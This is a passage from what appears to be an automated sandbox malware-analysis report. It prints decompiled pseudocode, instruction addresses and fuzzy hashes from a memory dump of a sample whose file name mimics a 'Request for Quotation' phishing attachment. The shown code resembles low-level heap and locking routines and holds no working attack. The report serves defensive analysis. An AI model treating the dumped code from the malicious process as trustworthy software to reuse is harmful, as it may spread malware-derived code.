														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E00A5F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E00A5F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E00AE4CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E00A6D130(_t427, _t494, _t511);
				}
			}

0x00ae5ba5
0x00ae5baa
0x00ae5baf
0x00ae5bb4
0x00ae5bb6
0x00ae5bbc
0x00ae5bbe
0x00ae5bc4
0x00ae5bcd
0x00ae5bd3
0x00ae5bd6
0x00ae5bdc
0x00ae5be0
0x00ae5be3
0x00ae5beb
0x00ae5bf2
0x00ae5bf8
0x00ae5bfe
0x00ae5c04
0x00ae5c0e
0x00ae5c18
0x00ae5c1f
0x00ae5c25
0x00ae5c2a
0x00ae5c2c
0x00ae5c32
0x00ae5c3a
0x00ae5c3f
0x00ae5c42
0x00ae5c48
0x00ae5c5b
0x00ae5c5b
0x00ae5c2c
0x00ae5cb7
0x00ae5cb9
0x00ae5cbf
0x00ae5cc2
0x00ae5cca
0x00ae5ccb
0x00ae5ccb
0x00ae5cd1
0x00ae5cd7
0x00ae5cda
0x00ae5ce1
0x00ae5ce4
0x00ae5ce7
0x00ae5ced
0x00ae5cf3
0x00ae5cf9
0x00ae5cff
0x00ae5d08
0x00ae5d0a
0x00ae5d0e
0x00ae5d10
0x00000000
0x00000000
0x00ae5d16
0x00ae5d1a
0x00000000
0x00000000
0x00ae5d20
0x00ae5d22
0x00ae5d25
0x00ae5d2f
0x00ae5d2f
0x00ae5d33
0x00ae5d3d
0x00ae5d49
0x00ae5d4b
0x00000000
0x00000000
0x00ae5d5a
0x00ae5d5d
0x00ae5d60
0x00000000
0x00000000
0x00ae5d66
0x00ae5d69
0x00000000
0x00000000
0x00ae5d6f
0x00ae5d6f
0x00ae5d73
0x00ae5d79
0x00ae5d7f
0x00ae5d86
0x00ae5d95
0x00ae5d98
0x00ae5dba
0x00ae5dcb
0x00ae5dce
0x00ae5dd3
0x00ae5dd6
0x00ae5dd8
0x00ae5de6
0x00ae5dec
0x00ae5dee
0x00ae5df1
0x00ae5df3
0x00ae635a
0x00ae635a
0x00000000
0x00ae635a
0x00ae5dfe
0x00ae5e02
0x00ae5e05
0x00ae5e07
0x00ae5e10
0x00ae5e13
0x00ae5e1b
0x00ae5e1c
0x00ae5e21
0x00ae5e22
0x00ae5e23
0x00ae5e25
0x00ae5e2a
0x00ae5e2c
0x00ae5e2e
0x00ae5e36
0x00ae5e39
0x00ae5e42
0x00ae5e47
0x00ae5e4d
0x00ae5e54
0x00ae5e54
0x00ae5e54
0x00ae5e2e
0x00ae5e5c
0x00ae5e5f
0x00ae5e62
0x00ae5e64
0x00ae5e6b
0x00ae5e70
0x00ae5e7a
0x00ae5e7a
0x00ae5e7a
0x00ae5e6b
0x00ae5e7e
0x00ae5e7f
0x00ae5e7f
0x00ae5e81
0x00ae5e87
0x00ae5e8b
0x00ae5e8c
0x00ae5e8c
0x00ae5e8c
0x00ae5e9a
0x00ae5e9c
0x00ae5ea2
0x00ae5ea6
0x00ae5f50
0x00ae5f50
0x00ae5f57
0x00ae5f66
0x00ae5f66
0x00ae5f66
0x00ae5f68
0x00ae5f6a
0x00ae63d0
0x00000000
0x00ae5f70
0x00ae5f70
0x00ae5f91
0x00ae5f9c
0x00ae5f9e
0x00ae5fa4
0x00ae5fa6
0x00ae638c
0x00ae6392
0x00ae63a1
0x00ae63a7
0x00ae63af
0x00ae63af
0x00ae63bd
0x00ae63d8
0x00000000
0x00ae63d8
0x00ae5fac
0x00ae5fb2
0x00ae5fb4
0x00ae5fbd
0x00ae5fc6
0x00ae5fce
0x00ae5fd4
0x00ae5fdc
0x00ae5fec
0x00ae5fed
0x00ae5fee
0x00ae5fef
0x00ae5ff9
0x00ae5ffa
0x00ae5ffb
0x00ae5ffc
0x00ae6000
0x00ae6004
0x00ae6012
0x00ae6012
0x00ae6018
0x00ae6019
0x00ae601a
0x00ae601b
0x00ae601c
0x00ae6020
0x00ae6059
0x00ae605c
0x00ae6061
0x00ae6061
0x00ae6022
0x00ae6022
0x00ae6022
0x00ae6025
0x00ae602a
0x00ae602b
0x00ae6031
0x00ae6037
0x00ae6038
0x00ae603e
0x00ae6048
0x00ae6049
0x00ae604a
0x00ae604b
0x00ae604c
0x00ae604d
0x00ae6053
0x00ae6054
0x00ae6054
0x00ae6062
0x00ae6065
0x00ae6067
0x00ae606a
0x00ae6070
0x00ae6075
0x00ae6076
0x00ae6081
0x00ae6087
0x00ae6095
0x00ae6099
0x00ae609e
0x00ae60a4
0x00ae60ae
0x00ae60b0
0x00ae60b3
0x00ae60b6
0x00ae60b8
0x00ae60ba
0x00ae60ba
0x00ae60ba
0x00ae60ba
0x00ae60be
0x00ae60c0
0x00ae60c5
0x00ae60c5
0x00ae60c5
0x00ae60c6
0x00ae60cd
0x00ae6114
0x00ae60cf
0x00ae60cf
0x00ae60d4
0x00ae60d5
0x00ae60da
0x00ae60db
0x00ae60e1
0x00ae60e2
0x00ae60e8
0x00ae60f8
0x00ae60fd
0x00ae60fe
0x00ae6102
0x00ae6104
0x00ae6107
0x00ae6109
0x00ae610b
0x00ae610b
0x00ae610b
0x00ae610b
0x00ae610f
0x00ae610f
0x00ae6117
0x00ae611a
0x00ae611f
0x00ae6125
0x00ae6134
0x00ae6139
0x00ae613f
0x00ae6146
0x00ae6148
0x00ae614b
0x00ae614d
0x00ae614f
0x00ae614f
0x00ae614f
0x00ae614f
0x00ae6153
0x00ae6159
0x00ae6159
0x00ae615c
0x00ae6163
0x00ae6169
0x00ae616c
0x00ae6172
0x00ae6181
0x00ae6186
0x00ae6187
0x00ae618b
0x00ae6191
0x00ae6195
0x00ae61a3
0x00ae61bb
0x00ae61c0
0x00ae61c3
0x00ae61cc
0x00ae61d0
0x00ae61dc
0x00ae61de
0x00ae61e1
0x00ae61e4
0x00ae61e6
0x00ae61e8
0x00ae61e8
0x00ae61e8
0x00ae61e8
0x00ae61e6
0x00ae61ec
0x00ae61f3
0x00ae6203
0x00ae6209
0x00ae620a
0x00ae6216
0x00ae621d
0x00ae6227
0x00ae6241
0x00ae6246
0x00ae624c
0x00ae6257
0x00ae6259
0x00ae625c
0x00ae625e
0x00ae6260
0x00ae6260
0x00ae6260
0x00ae6260
0x00ae625e
0x00ae6264
0x00ae6267
0x00ae6269
0x00ae6315
0x00ae6315
0x00ae631b
0x00ae631e
0x00ae6324
0x00ae6327
0x00ae632f
0x00ae6330
0x00ae6333
0x00ae633a
0x00ae633c
0x00ae6335
0x00ae6335
0x00ae6335
0x00ae633f
0x00ae6342
0x00ae634c
0x00ae6352
0x00ae6355
0x00ae6355
0x00ae6359
0x00000000
0x00ae626f
0x00ae6275
0x00ae6275
0x00ae6278
0x00ae627e
0x00ae627e
0x00ae6281
0x00ae6287
0x00ae628d
0x00ae6298
0x00ae629c
0x00ae62a2
0x00ae629e
0x00ae629e
0x00ae629e
0x00ae62a7
0x00ae62a7
0x00ae62aa
0x00ae62b0
0x00ae62f0
0x00ae62f0
0x00ae62f2
0x00ae62f8
0x00ae62fd
0x00ae62b2
0x00ae62b2
0x00ae62b2
0x00ae62b5
0x00ae62dd
0x00ae62e2
0x00ae62e5
0x00ae62b7
0x00ae62b8
0x00ae62bb
0x00ae62bd
0x00ae62c0
0x00ae62c4
0x00ae62cd
0x00ae62cd
0x00ae62c0
0x00ae62bb
0x00ae62b5
0x00ae6302
0x00ae6303
0x00ae6305
0x00ae6305
0x00ae6305
0x00ae630c
0x00ae630c
0x00000000
0x00ae627e
0x00ae6269
0x00ae5eac
0x00ae5ebb
0x00ae5ebe
0x00ae5ecb
0x00ae5ecb
0x00ae5ece
0x00ae5ece
0x00ae5ed4
0x00ae5ed7
0x00ae5ed9
0x00ae5edb
0x00ae5edb
0x00ae5ee1
0x00ae5ee1
0x00ae5ee3
0x00ae5f20
0x00ae5f20
0x00ae5ee5
0x00ae5ee5
0x00ae5ee5
0x00ae5ee8
0x00ae5f11
0x00ae5f18
0x00ae5eea
0x00ae5eea
0x00ae5eed
0x00ae5ef2
0x00ae5ef8
0x00ae5efb
0x00ae5f0a
0x00ae5f0a
0x00ae5eed
0x00ae5ee8
0x00ae5f22
0x00ae5f28
0x00000000
0x00000000
0x00ae5f30
0x00ae5f31
0x00ae5f37
0x00ae5f3a
0x00ae5f3d
0x00ae5f44
0x00000000
0x00000000
0x00000000
0x00ae5f46
0x00ae5f48
0x00ae5f4d
0x00000000
0x00ae5f4d
0x00ae5dda
0x00ae5ddf
0x00000000
0x00ae5ddf
0x00ae5dd8
0x00ae5da7
0x00ae5da9
0x00ae5dac
0x00ae5dae
0x00000000
0x00ae5db4
0x00ae5db4
0x00000000
0x00ae5db4
0x00ae5dae
0x00ae5d88
0x00ae5d8d
0x00ae6363
0x00ae6369
0x00ae636a
0x00ae6370
0x00ae6372
0x00ae637a
0x00ae637b
0x00ae637d
0x00000000
0x00000000
0x00ae637f
0x00ae6385
0x00000000
0x00ae6385
0x00ae5d38
0x00ae5d3b
0x00000000
0x00000000
0x00000000
0x00ae5d3b
0x00ae5d27
0x00ae5d29
0x00000000
0x00000000
0x00000000
0x00ae6360
0x00000000
0x00ae6360
0x00ae5c10
0x00ae5c10
0x00ae63da
0x00ae63e5
0x00ae63e5

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24fbd56334e904a1d250265450ef81bf03342681565c9534a8cc521611997777
Instruction ID: 4692d6c154d4515155bbe4f8574a4f24cf7a57e5a1abed466559efe88cfcaae6
Opcode Fuzzy Hash: 24fbd56334e904a1d250265450ef81bf03342681565c9534a8cc521611997777
Instruction Fuzzy Hash: E4426975E00669CFDB24CF69C880BA9B7B1FF59304F1485AAD94DAB242E7309E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AD5A4F, Relevance: .6, Instructions: 581
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00AD5A4F(intOrPtr* __ecx, signed int __edx) {
				intOrPtr* _v8;
				signed int** _v12;
				unsigned int* _v16;
				signed int _v20;
				signed int _v24;
				signed int* _v28;
				signed int _v32;
				signed int* _v36;
				signed int _v40;
				signed int _v44;
				signed int** _t198;
				signed int* _t199;
				signed int _t201;
				signed int _t203;
				intOrPtr _t204;
				signed int _t213;
				char* _t215;
				signed int _t216;
				void* _t219;
				signed int _t228;
				signed int _t236;
				void* _t237;
				signed int _t245;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t268;
				void* _t271;
				intOrPtr _t280;
				intOrPtr* _t281;
				char* _t302;
				signed int _t307;
				intOrPtr* _t308;
				signed int _t309;
				intOrPtr* _t310;
				signed int _t316;
				signed int _t322;
				signed int _t323;
				signed int _t324;
				signed int _t325;
				signed int _t330;
				intOrPtr _t335;
				signed int _t340;
				unsigned int _t348;
				signed int _t364;
				signed int _t380;
				signed char _t409;
				signed int* _t410;
				void* _t411;
				signed char _t412;
				signed int _t414;
				signed int _t425;
				signed char _t428;
				signed int* _t429;
				signed int _t434;
				signed char _t436;
				signed int* _t438;
				signed int* _t447;
				intOrPtr* _t451;
				signed int* _t452;
				signed int _t455;
				signed int _t456;
				intOrPtr _t457;
				intOrPtr* _t458;
				signed char* _t459;
				unsigned int* _t460;
				signed int _t461;
				signed int _t463;
				signed int _t464;
				signed char* _t465;
				void* _t466;
				void* _t468;
				signed int* _t469;
				void* _t491;

				_t451 = __ecx;
				_v44 = __edx;
				_v8 = __ecx;
				_t198 = __ecx + 4;
				_v12 = _t198;
				while(1) {
					L4:
					_t409 = 1;
					while(1) {
						L5:
						_t199 =  *_t198;
						_v28 = _t199;
						if(_t199 == 0) {
							goto L35;
						} else {
							_v24 = _v24 & 0x00000000;
							_t460 =  &(_t199[4]);
							_t335 =  *_t451;
							_v16 = _t460;
							_t11 = _t335 + 0xc; // 0x8b147989
							_t309 =  *_t11;
							if(( *_t460 >> 0x00000010 & 0x00008000) != 0) {
								_t14 = _t451 + 0x5c; // 0x0
								_t464 =  *_t14 & 0x0000ffff;
								_v24 = _t409;
								if((_t409 &  *(_t309 + 0x1bf + _t464 * 4)) == 0 && E00A4F3FD(_t309,  *(_t309 + 0x1be + _t464 * 4) & 0x000000ff) >= 0) {
									 *(_t309 + 0x1bf + _t464 * 4) =  *(_t309 + 0x1bf + _t464 * 4) & 0x000000ff | 1;
									if(E00A37D50() == 0) {
										_t302 = 0x7ffe0380;
									} else {
										_t302 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									if( *_t302 != 0 && ( *( *[fs:0x30] + 0x240) & 1) != 0) {
										E00AD1229( *((intOrPtr*)(_t309 + 0xc)),  *(_t309 + 0x1be + _t464 * 4) & 0x000000ff);
									}
								}
								_t460 = _v16;
							}
							asm("sbb eax, eax");
							_t414 = 0;
							_v32 = 0;
							goto L18;
						}
						L19:
						if(_t461 == 0) {
							L30:
							_t411 = 0;
							L31:
							if(_v24 != 0) {
								_t280 =  *0xb06244; // 0x0
								_t64 = _t280 + 1; // 0x1
								_t491 = _t64 -  *0xb06240; // 0x4
								if(_t491 < 0) {
									asm("lock cmpxchg [esi], ecx");
								}
							}
							if(_t411 != 0) {
								L134:
								return _t411;
							} else {
								goto L35;
							}
						}
						asm("lock cmpxchg [edi], ecx");
						_t451 = _v8;
						if(_t461 == _t461) {
							L23:
							if(_t461 == 0xffffffff) {
								goto L30;
							}
							_t281 = _v28;
							_t340 =  *((intOrPtr*)(_t281 + 4));
							_v20 = _t340;
							if(_t340 == 0 ||  *_t281 != _t451 || _t461 == 0) {
								 *_v16 = _t461;
							} else {
								_t49 = _t451 + 0x5c; // 0x0
								_t50 = ( *_t49 & 0x0000ffff) + 0x9fb800; // 0x20202020
								_t455 = L00ADA600(_v20 + 0x14,  *((L00A1774A(_t340) & 0x0000ffff) + 0xb06120) & 0x000000ff,  *_t50 & 0x000000ff);
								_t463 = _v20;
								 *_v16 = (_t461 & 0x0000ffff) - 0x00000001 | _t455 << 0x00000010;
								_t55 = _t463 + 0x10; // 0x8b0c244c
								_t348 =  *_t55 ^  *0xb0874c ^ _t463 ^ _t309;
								_t451 = _v8;
								_t411 = (_t348 & 0x0000ffff) + (_t348 >> 0x10) * _t455 + _t463;
								if(( *(_t411 + 7) & 0x0000003f) == 0) {
									goto L31;
								}
								_push(_t348);
								_push(0);
								E00ADA80D( *((intOrPtr*)( *((intOrPtr*)( *_t451 + 0xc)) + 0xc)), 0xf, _t411, 0);
							}
							goto L30;
						}
						L21:
						_t414 = _t414 + 1;
						if(_t414 <= _v32) {
							_t460 = _v16;
							L18:
							_t461 =  *_t460;
							if((_t461 >> 0x00000010 & 0x00008000) != 0) {
								goto L21;
							}
							goto L19;
						}
						_t461 = _t461 | 0xffffffff;
						goto L23;
						L35:
						_v32 =  *_t451;
						_t68 = _t451 + 8; // 0xb06628
						_t201 = _t68;
						_v20 = _t201;
						while(1) {
							_t452 = 0;
							while(1) {
								L37:
								_t307 = 0;
								_v28 = 0x10;
								_v24 = _v24 & 0;
								_t330 = _t201;
								_v16 = _t330;
								do {
									L38:
									_t410 =  *_t330;
									_t457 = _v8;
									_v36 = _t410;
									if(_t410 != 0) {
										_t203 =  *(_t410 + 0x10) & 0x0000ffff;
										_v40 = _t203;
										if(_t203 > _v24) {
											_t271 = E00A55A69(_t457, _t410);
											_t330 = _v16;
											if(_t271 == 0) {
												_t307 = _t330;
												_t452 = _v36;
												_v24 = _v40;
											}
										}
									}
									_t330 = _t330 + 4;
									_t83 =  &_v28;
									 *_t83 = _v28 - 1;
									_v16 = _t330;
								} while ( *_t83 != 0);
								_v28 = _t452;
								if(_t307 == 0) {
									_t452 = 0;
									L59:
									if(_t452 == 0) {
										_t204 = _v8;
										_t458 = 0;
										_t115 = _t204 + 0x5c; // 0x0
										_t208 =  *((intOrPtr*)( *((intOrPtr*)(_v32 + 0xc)) + 0x3c0 + ( *_t115 & 0x0000ffff) * 4)) + 0x48;
										_v20 = 0;
										_v28 = 0;
										_v24 =  *((intOrPtr*)( *((intOrPtr*)(_v32 + 0xc)) + 0x3c0 + ( *_t115 & 0x0000ffff) * 4)) + 0x48;
										while(1) {
											_t308 = L00A41710(_t208);
											_v32 = _t308;
											if(_t308 == 0) {
												break;
											}
											_t125 = _t308 - 0x20; // -32
											_t452 = _t125;
											_t126 =  &(_t452[7]); // -4
											_t438 = _t126;
											if((1 &  *_t438) == 0) {
												_t322 = 0xfffffffd;
												_t245 =  *_t438;
												do {
													asm("lock cmpxchg [edx], ecx");
												} while ((_t245 & _t322) != 0);
												_t323 = _v32;
												if(_t245 != 2) {
													L91:
													_t208 = _v24;
													_t452 = 0;
													continue;
												}
												L90:
												 *_t452 =  *_t452 & 0x00000000;
												E00A30010( *( *_t452), _t323);
												goto L91;
											}
											if(E00A54D51(_t452, _v8) == 0) {
												_t249 = _v20;
												if(_t249 == 0) {
													_v28 = _t308;
												}
												 *_t308 = _t458;
												_t458 = _t308;
												_v20 = _t249 + 1;
												goto L91;
											}
											_t130 =  &(_t452[7]); // -4
											_t324 = 0xfffffffd;
											_t251 =  *_t130;
											do {
												asm("lock cmpxchg [edx], ecx");
											} while ((_t251 & _t324) != 0);
											_t323 = _v32;
											if(_t251 == 2) {
												goto L90;
											}
											if(E00A38D76(_v8, _t452) == 0) {
												goto L91;
											}
											break;
										}
										_t334 = _v20;
										if(_v20 != 0) {
											E00AA51C0(_v24, _t458, _v28, _t334);
										}
										L74:
										if(_t452 == 0) {
											_t411 = 0;
											goto L134;
										}
										_t137 =  &(_t452[7]); // 0x1c
										_t459 = _t137;
										_t452[6] = _v44;
										while(1) {
											_t412 =  *_t459;
											_t198 = _v12;
											if(_t412 == 0 || (_t412 & 0x00000006) != 0) {
												break;
											}
											asm("lock cmpxchg [esi], ecx");
											if(_t412 != _t412) {
												continue;
											}
											_t213 =  *_t452;
											_t310 = _v8;
											_v40 = _t213;
											if(_t213 == _t310) {
												if(E00A37D50() == 0) {
													_t215 = 0x7ffe0380;
												} else {
													_t215 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
												}
												_t409 = 1;
												if( *_t215 != 0 && ( *( *[fs:0x30] + 0x240) & 1) != 0) {
													L00AD17D2( *((intOrPtr*)( *((intOrPtr*)( *_t310 + 0xc)) + 0xc)), _t452[1]);
													_t409 = 1;
												}
												_t174 = _t310 + 4; // 0xb06624
												_t198 = _t174;
												_t175 = _t452;
												_t452 =  *_t198;
												 *_t198 = _t175;
												if(_t452 == 0) {
													L1:
													_t451 = _t310;
													goto L5;
												} else {
													_t176 =  &(_t452[7]); // 0x1c
													_t465 = _t176;
													_t425 = 0xfffffff9;
													_t216 =  *_t465;
													do {
														asm("lock cmpxchg [esi], ecx");
													} while ((_t216 & _t425) != 0);
													if(_t216 == 6) {
														L83:
														_t144 =  &(_t452[8]); // 0x20
														 *_t452 =  *_t452 & 0x00000000;
														E00A30010( *( *_t452), _t144);
														_t451 = _t310;
														L132:
														_t198 = _v12;
														goto L4;
														do {
															while(1) {
																L4:
																_t409 = 1;
																L5:
																_t199 =  *_t198;
																_v28 = _t199;
																if(_t199 == 0) {
																	goto L35;
																} else {
																	_v24 = _v24 & 0x00000000;
																	_t460 =  &(_t199[4]);
																	_t335 =  *_t451;
																	_v16 = _t460;
																	_t11 = _t335 + 0xc; // 0x8b147989
																	_t309 =  *_t11;
																	if(( *_t460 >> 0x00000010 & 0x00008000) != 0) {
																		_t14 = _t451 + 0x5c; // 0x0
																		_t464 =  *_t14 & 0x0000ffff;
																		_v24 = _t409;
																		if((_t409 &  *(_t309 + 0x1bf + _t464 * 4)) == 0 && E00A4F3FD(_t309,  *(_t309 + 0x1be + _t464 * 4) & 0x000000ff) >= 0) {
																			 *(_t309 + 0x1bf + _t464 * 4) =  *(_t309 + 0x1bf + _t464 * 4) & 0x000000ff | 1;
																			if(E00A37D50() == 0) {
																				_t302 = 0x7ffe0380;
																			} else {
																				_t302 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																			}
																			if( *_t302 != 0 && ( *( *[fs:0x30] + 0x240) & 1) != 0) {
																				E00AD1229( *((intOrPtr*)(_t309 + 0xc)),  *(_t309 + 0x1be + _t464 * 4) & 0x000000ff);
																			}
																		}
																		_t460 = _v16;
																	}
																	asm("sbb eax, eax");
																	_t414 = 0;
																	_v32 = 0;
																	goto L18;
																}
															}
															L107:
															_t451 = _v8;
															_t166 = _t451 + 4; // 0xb06624
															_t198 = _t166;
														} while (_t228 != 2);
														 *_t429 =  *_t429 & 0x00000000;
														E00A30010( *( *_t429),  &(_t429[8]));
														goto L132;
													}
													_t219 = E00A38D76(_t310, _t452);
													_t177 = _t310 + 4; // 0xb06624
													_t198 = _t177;
													_t409 = 1;
													if(_t219 == 0) {
														goto L1;
													} else {
														goto L120;
													}
													while(1) {
														L120:
														_t428 =  *_t465;
														_t198 = _v12;
														if(_t428 == 0 || (_t428 & 0x00000002) != 0) {
															break;
														}
														asm("lock cmpxchg [esi], ecx");
														if(_t428 != _t428) {
															continue;
														}
														_t364 =  *_t452;
														_t466 = 0;
														_v32 = _t364;
														do {
															_t429 =  *(_t364 + ((( *(_t364 + 0x5e) & 0x0000ffff) + _t466 & 0x0000000f) + 2) * 4);
															if(_t429 != 0) {
																if((_t429[7] & 0x00000001) != 0) {
																	goto L130;
																}
																asm("lock cmpxchg [ebx], ecx");
																if(_t429 == _t429) {
																	L105:
																	_t164 =  &(_t429[7]); // 0x1d
																	_t316 = 0xfffffffd;
																	_t228 =  *_t164;
																	do {
																		asm("lock cmpxchg [esi], ecx");
																	} while ((_t228 & _t316) != 0);
																	goto L107;
																}
																L129:
																_t364 = _v32;
																goto L130;
															}
															asm("lock cmpxchg [ebx], ecx");
															_t198 = _v12;
															if(0 == 0) {
																goto L3;
															}
															goto L129;
															L130:
															_t466 = _t466 + 1;
														} while (_t466 < 0x10);
														L131:
														_t190 =  &(_t452[8]); // 0x20
														E00A30010( *((intOrPtr*)( *((intOrPtr*)( *( *_t452) + 0xc)) + 0x3c0 + ( *( *_t452 + 0x5c) & 0x0000ffff) * 4)) + 0x48, _t190);
														_t451 = _v8;
														goto L132;
													}
													L2:
													_t451 = _t310;
													while(1) {
														L4:
														_t409 = 1;
														goto L5;
													}
												}
											}
											_t434 = 0xfffffff9;
											_t236 =  *_t459;
											do {
												asm("lock cmpxchg [esi], ecx");
											} while ((_t236 & _t434) != 0);
											if(_t236 != 6) {
												_t237 = E00A38D76(_v40, _t452);
												_t198 = _v12;
												if(_t237 == 0) {
													goto L2;
												} else {
													goto L93;
												}
												while(1) {
													L93:
													_t436 =  *_t459;
													_t198 = _v12;
													if(_t436 == 0 || (_t436 & 0x00000002) != 0) {
														goto L2;
													}
													asm("lock cmpxchg [esi], ecx");
													if(_t436 != _t436) {
														continue;
													}
													_t380 =  *_t452;
													_t468 = 0;
													_v32 = _t380;
													do {
														_t429 =  *(_t380 + ((( *(_t380 + 0x5e) & 0x0000ffff) + _t468 & 0x0000000f) + 2) * 4);
														if(_t429 != 0) {
															if((_t429[7] & 0x00000001) != 0) {
																goto L103;
															}
															asm("lock cmpxchg [ebx], ecx");
															if(_t429 == _t429) {
																goto L105;
															}
															L102:
															_t380 = _v32;
															goto L103;
														}
														asm("lock cmpxchg [ebx], ecx");
														_t198 = _v12;
														if(0 == 0) {
															goto L3;
														}
														goto L102;
														L103:
														_t468 = _t468 + 1;
													} while (_t468 < 0x10);
													goto L131;
												}
												goto L2;
											}
											goto L83;
										}
										L3:
										_t451 = _v8;
										goto L4;
									}
									_t111 =  &(_t452[7]); // 0x1c
									_t325 = 0xfffffffd;
									_t253 =  *_t111;
									do {
										asm("lock cmpxchg [edx], ecx");
									} while ((_t253 & _t325) != 0);
									if(_t253 != 2) {
										goto L74;
									}
									_t112 =  &(_t452[8]); // 0x20
									 *_t452 =  *_t452 & 0x00000000;
									E00A30010( *( *_t452), _t112);
									_t201 = _v20;
									_t452 = 0;
									L37:
									_t307 = 0;
									_v28 = 0x10;
									_v24 = _v24 & 0;
									_t330 = _t201;
									_v16 = _t330;
									goto L38;
								}
								_t88 = _t457 + 0x5c; // 0x0
								_t259 =  *((intOrPtr*)( *((intOrPtr*)(_v32 + 0xc)) + 0x3c0 + ( *_t88 & 0x0000ffff) * 4)) + 0x48;
								_v16 =  *((intOrPtr*)( *((intOrPtr*)(_v32 + 0xc)) + 0x3c0 + ( *_t88 & 0x0000ffff) * 4)) + 0x48;
								while(1) {
									_t469 = L00A41710(_t259);
									_v24 = _t469;
									if(_t469 == 0) {
										break;
									}
									_t469 = _t469 - 0x20;
									_t95 =  &(_t469[7]); // -4
									_t447 = _t95;
									if((1 &  *_t447) != 0) {
										if(E00A54D51(_t469, _v8) == 0) {
											E00A30010(_v16, _v24);
											_t469 = 0;
										}
										break;
									}
									_t456 = 0xfffffffd;
									_t268 =  *_t447;
									do {
										asm("lock cmpxchg [edx], ecx");
									} while ((_t268 & _t456) != 0);
									_t452 = _v28;
									_t259 = _v16;
									if(_t268 == 2) {
										 *_t469 =  *_t469 & 0x00000000;
										E00A30010( *( *_t469), _v24);
										_t259 = _v16;
									}
								}
								asm("lock cmpxchg [ebx], edx");
								if(_t452 == _t452) {
									if(_t469 == 0) {
										 *((short*)(_v8 + 0x5e)) = _t307 - _v8 - 0x00000008 >> 0x00000002 & 0x000000ff;
									}
									goto L59;
								}
								_t201 = _v20;
								if(_t469 != 0) {
									_t107 =  &(_t469[8]); // 0x20
